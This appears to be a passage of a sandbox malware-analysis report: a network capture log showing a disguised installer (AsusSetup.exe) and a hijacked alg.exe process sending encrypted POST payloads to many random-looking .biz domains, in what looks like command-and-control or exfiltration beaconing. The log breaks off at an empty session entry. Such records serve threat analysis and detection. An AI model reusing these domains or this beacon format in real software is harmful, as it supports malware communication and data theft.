Oct 28, 2024 16:50:01.442179918 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=b6e9e4a8fe7c778823bdd60f3f41b2b3\|155.94.241.188\|1730130601\|1730130601\|0\|1\|0; path=/; domain=.ssbzmoy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	18.141.10.107	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:00.939378023 CET	346	OUT	POST /flh HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:00.939480066 CET	778	OUT	Data Raw: b2 e2 66 0d 35 59 47 e0 fe 02 00 00 c0 35 59 ef 93 1c cc 8f b2 3f c8 bb 01 a6 d7 fa f8 81 44 82 d7 d1 61 ab c4 7c 6a 91 52 a1 1d f7 92 98 93 e9 c1 4c c8 91 e6 b1 f5 61 69 32 cd d9 ba 94 74 c3 f3 fe d6 c7 3c ee 2c 7b 4e 8f cd 91 2f 91 44 c1 88 32 Data Ascii: f5YG5Y?Da\|jRLai2t<,{N/D2lryHmIN>,ZKR+@0LrpsX/-^(<EPe$.i9>fRHnf-Y2aLL1GcC<r @>9\7[,:W^>&i^b\|WYQ
Oct 28, 2024 16:50:02.377466917 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=49463987e232f86878a2b5945c96d660\|155.94.241.188\|1730130602\|1730130602\|0\|1\|0; path=/; domain=.ssbzmoy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	54.244.188.177	80	5880	C:\Users\user\Desktop\AsusSetup.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:01.648710012 CET	353	OUT	POST /nxfilvvdujkp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 800
Oct 28, 2024 16:50:01.648732901 CET	800	OUT	Data Raw: db ce d1 20 5d 99 ba c9 14 03 00 00 88 5c 03 ee 05 e6 0b b8 ba 70 57 7f 14 cf bf 2e 42 b2 a3 a1 2e ae 4b 0b f8 82 2b 9a f6 6a e2 9d 72 50 3b dc d5 8d 35 04 f6 ee 0c 25 14 50 b6 01 03 48 b9 d7 ef 31 a5 57 fe 13 43 c0 d8 c9 c0 82 e2 9d 3b 12 9e fd Data Ascii: ]\pW.B.K+jrP;5%PH1WC;v$a6g."]V9=\SUg,m8f~q.BU+^{McV+If<F\|uMD\YLw}83]r r*jJ92o^LQ
Oct 28, 2024 16:50:02.469491005 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=7397ba36972b2f822a61f8a0cd836c25\|155.94.241.188\|1730130602\|1730130602\|0\|1\|0; path=/; domain=.cvgrf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	44.221.84.105	80	5880	C:\Users\user\Desktop\AsusSetup.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:02.698465109 CET	351	OUT	POST /vicdeig HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: npukfztj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 800
Oct 28, 2024 16:50:02.698534966 CET	800	OUT	Data Raw: 36 1c 7d 51 5d 4f 2b b0 14 03 00 00 3a bf d9 6b 7a 4d 7d ff 0a 48 eb 52 dc 5f 69 be 19 c3 ad b1 ba 8b 2e 31 c2 b9 ee ab 1d ec 93 b2 fa 8a 94 8a bb 1f 7c 1c 85 af 6b 04 bb fd 92 b4 3f 36 cf 53 d2 03 c5 46 23 65 d3 a0 f7 18 94 0b c8 6f 72 07 47 0e Data Ascii: 6}Q]O+:kzM}HR_i.1\|k?6SF#eorGcqZOHPT'J\pcgm\|b'wD%$6}`7sZP'8pQ+Ke0\|B 'jC#c@qS@g?WL/_u\.j`O5=-3:*V
Oct 28, 2024 16:50:03.372359991 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=1e495fd4dc936563b16c046c19d20d4e\|155.94.241.188\|1730130603\|1730130603\|0\|1\|0; path=/; domain=.npukfztj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	54.244.188.177	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:02.740437031 CET	352	OUT	POST /fwyvvonbgan HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:02.740464926 CET	778	OUT	Data Raw: cf 73 3d 31 0e 3b 98 42 fe 02 00 00 d6 d9 9c 1d 16 19 8e 28 b9 45 10 31 64 46 c5 2b 01 3f b2 d7 21 d0 f3 9d 7d 84 11 ae d8 e3 40 80 05 a7 d3 bf e2 eb a4 4e 52 67 24 36 1a 85 58 82 e3 8a 69 21 f0 a9 a0 eb 58 d6 2b d8 bf b2 04 0e cc be 15 f0 de f5 Data Ascii: s=1;B(E1dF+?!}@NRg$6Xi!X+t/{Pj[Jmd.Aiz:~H[@b\|7E9bcysLs6bnrZ>WV"fSQRevOWu011\
Oct 28, 2024 16:50:03.586586952 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=bcf348874fdd29f1f5d8a01d467a14cb\|155.94.241.188\|1730130603\|1730130603\|0\|1\|0; path=/; domain=.cvgrf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49711	44.221.84.105	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:03.920277119 CET	354	OUT	POST /wurutvkart HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: npukfztj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:03.920291901 CET	778	OUT	Data Raw: 2c d9 eb 98 54 85 b5 11 fe 02 00 00 d4 7d 98 bc fb c3 74 7d e8 07 b4 d3 23 83 13 a3 c2 7b f4 3a 2c 7b 35 4b 27 9f 36 27 d6 70 4c 9a 3a 86 fd 94 d8 32 e4 d1 41 06 aa 9e b5 54 1b 9c f6 95 8f b9 b4 82 18 bb 95 8a f8 0b fd 5e 83 4c bb 69 76 0f e4 c5 Data Ascii: ,T}t}#{:,{5K'6'pL:2AT^LivvP2}n-,_+m`@+:4sHyl'kr+a Y0*orqkT&'V3q%</Q^&<9E0;de\|ku~QH6d;\|!~
Oct 28, 2024 16:50:04.587095022 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=d8788308211fdad16be0ff16da725d09\|155.94.241.188\|1730130604\|1730130604\|0\|1\|0; path=/; domain=.npukfztj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49713	172.234.222.138	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:04.656956911 CET	354	OUT	POST /agsaomftijm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:04.656980991 CET	778	OUT	Data Raw: 54 78 16 0a f2 62 4b d4 fe 02 00 00 fa 21 30 15 a4 51 21 fd 56 f2 91 77 1f 9b 38 0f 23 09 8b bd 1d 23 cd b9 7c a6 b0 78 e6 6a 93 a5 d2 b8 cf cf fe 66 35 46 22 0d 42 d2 52 56 38 9b 85 fd 19 20 52 18 b2 a3 d7 c0 73 56 e6 67 16 eb c5 80 ab b5 a1 3d Data Ascii: TxbK!0Q!Vw8##\|xjf5F"BRV8 RsVg=,jTFHS3m d/=rC LAW@i@axt<*MRp_\|$usfv2'Zeyq$$uKvf,=}Wb$x" =

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49719	172.234.222.138	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:05.416445971 CET	349	OUT	POST /hogxps HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:05.416553020 CET	778	OUT	Data Raw: e5 f1 87 07 6d 7a cd d4 fe 02 00 00 c0 71 de bb c2 f5 34 d5 7b 8f a4 a3 b6 19 21 8f 79 5b 4e 6b aa 9c a6 f9 1a db ff 6b ff 70 74 18 d9 c2 f4 d9 32 60 c7 e8 31 5a b2 7e 63 ec 20 77 0c 7f 1e d6 03 b2 ad c0 94 a1 8c 71 31 c5 79 63 9e 18 f0 f6 43 58 Data Ascii: mzq4{!y[Nkkpt2`1Z~c wq1ycCXx?NcT\|Ui?Mr=[buvX.I@f$;H*n^XPE=YiPRH1\|]@m5<"'O/kpNr]"(Q@>hlR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49720	18.141.10.107	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:06.195262909 CET	355	OUT	POST /suoyjqbsciv HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: knjghuig.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:06.195286036 CET	778	OUT	Data Raw: db fa 35 ef ef 12 35 5a fe 02 00 00 41 79 14 92 b1 2e dc 61 7e a3 2b 2f 9d 30 47 b2 2d d5 3c 62 90 b4 33 d7 16 ad 5c 3b 68 18 ab 21 56 65 c1 7d d9 0b 88 1d 0a c7 de 68 b9 d8 84 e7 ad 41 fd a5 8d fa 08 1d 62 06 9b 88 af 78 05 1a 22 04 c1 bc 97 77 Data Ascii: 55ZAy.a~+/0G-<b3\;h!Ve}hAbx"wiNp:PW_qn#Mm{Ofd7^rxE'8dA};_1fgGX$\|)BD[tfiED%3[~TI7Xbj
Oct 28, 2024 16:50:07.635282040 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=cd7b08626de924756b135ad51607bc47\|155.94.241.188\|1730130607\|1730130607\|0\|1\|0; path=/; domain=.knjghuig.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49730	82.112.184.197	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:07.821641922 CET	350	OUT	POST /uuoiubsg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:07.821676970 CET	778	OUT	Data Raw: 31 9a 96 a9 47 19 14 7e fe 02 00 00 07 0e d1 5a 49 94 5d 23 58 91 9f 1e 35 76 e8 ac de 26 43 04 d5 cc 96 11 68 17 87 6d a1 7e 90 5a d4 e6 31 a2 18 cb 9e 7f 03 c4 f5 7f 30 78 94 e0 42 aa ff 46 f9 30 a4 8c 9f 5f 7d 5c 1d a1 87 18 e7 7f 18 2e f1 d0 Data Ascii: 1G~ZI]#X5v&Chm~Z10xBF0_}\.K\|[$i",K%gRZ!P$MG+-r}ZX"]EeaB8D\!P{_'PUiZiQ{Ike^Mlyl)5w /M_V]<;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49780	82.112.184.197	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:16.353391886 CET	356	OUT	POST /dnirvyhujqwqnc HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:16.353420019 CET	778	OUT	Data Raw: 9d 30 e5 ab 1a 3a 81 ea fe 02 00 00 22 95 92 75 29 20 d0 50 28 a8 3c 5c 75 86 18 1d 87 04 66 2d cf 81 cc cb 5b 90 a0 c8 cb ae 0f 9c 5f 4a 95 96 67 92 47 3d 29 d7 00 f1 b1 11 c1 54 64 d8 0b 0d ee ed 9e 80 2f 4d a2 b8 f8 73 54 88 3d 09 d2 65 7a 01 Data Ascii: 0:"u) P(<\uf-[_JgG=)Td/MsT=ezF^`kYYL.2+!oXuh%1rdn!}%\' dUOox0-#Y'`L-(KcC(mv!IT,"%GWt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49830	82.112.184.197	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:24.924645901 CET	361	OUT	POST /tkrvouqomflftlqp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:24.924668074 CET	778	OUT	Data Raw: d8 fc 79 b6 8f 46 8f db fe 02 00 00 6f 9f b6 50 4f 40 83 b0 fc b3 a3 6f 80 9b 38 1e 72 79 3c cc e2 de 83 a0 d7 ad dd 1e 19 bc 30 ad a8 44 03 b4 d4 65 51 69 ff 1b ce 62 e1 45 61 31 45 9a c4 72 04 93 5b 1e 72 79 9b c8 f1 e4 56 58 a3 63 09 9d 3f b1 Data Ascii: yFoPO@o8ry<0DeQibEa1Er[ryVXc?fHmU LjAmQyp6_t0-JYr@\GR.!9M8#R^d:]%t%Hs/q'f{&l;,@]$?/_sY9.n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49873	82.112.184.197	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:33.465249062 CET	352	OUT	POST /bdrtsxy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:33.465286970 CET	778	OUT	Data Raw: df 01 8b cd 5a e6 15 c1 fe 02 00 00 c2 e7 9b 5f ee e1 6b ff 3e 98 17 5a 2f 47 90 38 ba 74 7e fd ab 9d 1f 32 e5 df 22 90 f4 31 ef 57 22 40 1f b2 34 61 2c 32 78 e5 c2 54 3d e7 f1 d2 24 f5 47 14 9e 9f d2 ef 6c e5 da 2e 2c 87 9d 09 c8 de 05 55 bb c5 Data Ascii: Z_k>Z/G8t~2"1W"@4a,2xT=$Gl.,Uh!`vu4<ys%KHdFCMd9/p8ajWfADRg.ahxE})u$IJd4N`8^xbvQxPR)nd%fQxrQ6}n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49919	47.129.31.212	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:42.274624109 CET	346	OUT	POST /len HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: xlfhhhm.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:42.274646044 CET	778	OUT	Data Raw: 7b 49 91 8e 45 89 34 c0 fe 02 00 00 ec 8d 65 02 ab cc 34 0b 94 75 c6 06 dd c2 91 52 3f 5b 25 4f f3 b5 61 3a e7 ba 6e 26 82 5a a7 84 5e 37 f2 ac 6e fe d6 26 78 f3 5e cf 86 33 35 43 c9 27 11 d4 42 c6 0e fb 42 29 07 8c 1e 7c 5f 04 80 bd b1 9c 0d 4f Data Ascii: {IE4e4uR?[%Oa:n&Z^7n&x^35C'BB)\|_O]BtVjo&,.4&!o;k/HLHpeONr+2_vcraMrmI/pz{HAez2\w^9?"?Bf-iKRUTg+}Ae=Micz!
Oct 28, 2024 16:50:43.717546940 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=7f5735b7ed980352ecdf63e68f3ce356\|155.94.241.188\|1730130643\|1730130643\|0\|1\|0; path=/; domain=.xlfhhhm.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49930	13.251.16.150	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:44.138880014 CET	358	OUT	POST /ubaevhdsrbjcmaql HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ifsaia.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:44.138880014 CET	778	OUT	Data Raw: fe 36 68 32 e2 1c 3a 6a fe 02 00 00 12 b6 ee 11 a2 a9 5c 3c 5b 35 70 5e 88 9a 2c 4a 54 92 eb c0 4c 25 7a 55 dc a2 dc 9b 3b 58 41 53 ac 69 a9 20 20 4a 8a 0b 79 94 05 88 7a eb 1c 4b 7e 4d ed be fc 53 17 f7 20 98 69 e8 5c e5 d3 08 96 e8 77 c7 a8 d1 Data Ascii: 6h2:j\<[5p^,JTL%zU;XASi JyzK~MS i\w6Xw"N}fTQE89?$EX;J\|4 m"813\. pb_5wb?;g/_$!L# g\{nV$<W\|*:U/
Oct 28, 2024 16:50:45.564770937 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=178d9167f2d65bee40964bd354bca56b\|155.94.241.188\|1730130645\|1730130645\|0\|1\|0; path=/; domain=.ifsaia.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49941	44.221.84.105	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:45.907524109 CET	348	OUT	POST /yeb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: saytjshyf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:45.907537937 CET	778	OUT	Data Raw: b9 32 ca 6b fe d5 ce d7 fe 02 00 00 d1 28 a2 65 00 4f 06 74 7e 90 07 37 cc f8 45 2a a7 50 a0 82 2b fb da 9a e4 79 2d 44 15 c0 91 55 cf f9 66 40 46 25 e7 3e 83 13 6a ec 4b 79 eb 83 d8 72 d3 db ed 62 ed 5b d9 ca 34 cf db b0 91 86 5a 2d 81 25 d3 9f Data Ascii: 2k(eOt~7E*P+y-DUf@F%>jKyrb[4Z-%:fGfZu%V_gq"[LO2yyau+z<6^4\|aL9/nP@X7"G37F9Pa(Y)oDy@2/c[X0
Oct 28, 2024 16:50:46.573523045 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=628c2ccdd12dab30889d6cb69674e49f\|155.94.241.188\|1730130646\|1730130646\|0\|1\|0; path=/; domain=.saytjshyf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49947	18.141.10.107	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:46.822643995 CET	345	OUT	POST /kb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vcddkls.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:46.822664022 CET	778	OUT	Data Raw: 48 7a 35 fd ea c6 f6 07 fe 02 00 00 ce 74 c7 03 fa 40 52 56 32 5c 73 48 37 8d 3f 63 39 39 0f 7a 2f d1 db a9 d4 08 93 05 0a 67 6b 59 a8 6c 3f e0 e9 40 93 c8 df 7b 38 a4 b2 25 a4 0d 50 1e 32 db 62 5e cf 6d 15 b2 bb a8 44 c3 a6 b1 78 f5 b5 e4 3a b7 Data Ascii: Hz5t@RV2\sH7?c99z/gkYl?@{8%P2b^mDx:2j4Ns8pgDBGq"(2^9(OE42X- YQ!T:_xqwfjL Xq==7erXJE_XN]FtX=yqb0>5
Oct 28, 2024 16:50:48.250859976 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=87ae6604782ae2102966e3ac8490597a\|155.94.241.188\|1730130647\|1730130647\|0\|1\|0; path=/; domain=.vcddkls.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49958	172.234.222.138	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:48.585644007 CET	346	OUT	POST /ofmvo HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: fwiwk.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:48.585679054 CET	778	OUT	Data Raw: cf b0 14 41 5c 13 03 68 fe 02 00 00 05 b5 31 cc 44 1e 1a 7a f1 60 6e 5f 99 19 0d f2 1e fb 87 26 cc 2b e2 16 40 8a 8b d6 51 76 22 5a 56 0e 10 26 e9 4c 0f fd 1f 84 c1 7a f0 d6 58 12 dd 90 ba f4 76 2c 44 dc 33 7e f3 98 b6 18 fd b6 7d 4e 9d 2a f5 22 Data Ascii: A\h1Dz`n_&+@Qv"ZV&LzXv,D3~}N*"0w;}p5hr$`sTxO1!>Vb9<a<G%B~1ibyZikX!Tpj^H/^O!TyWlAevWn7z{0x]#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49960	172.234.222.138	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
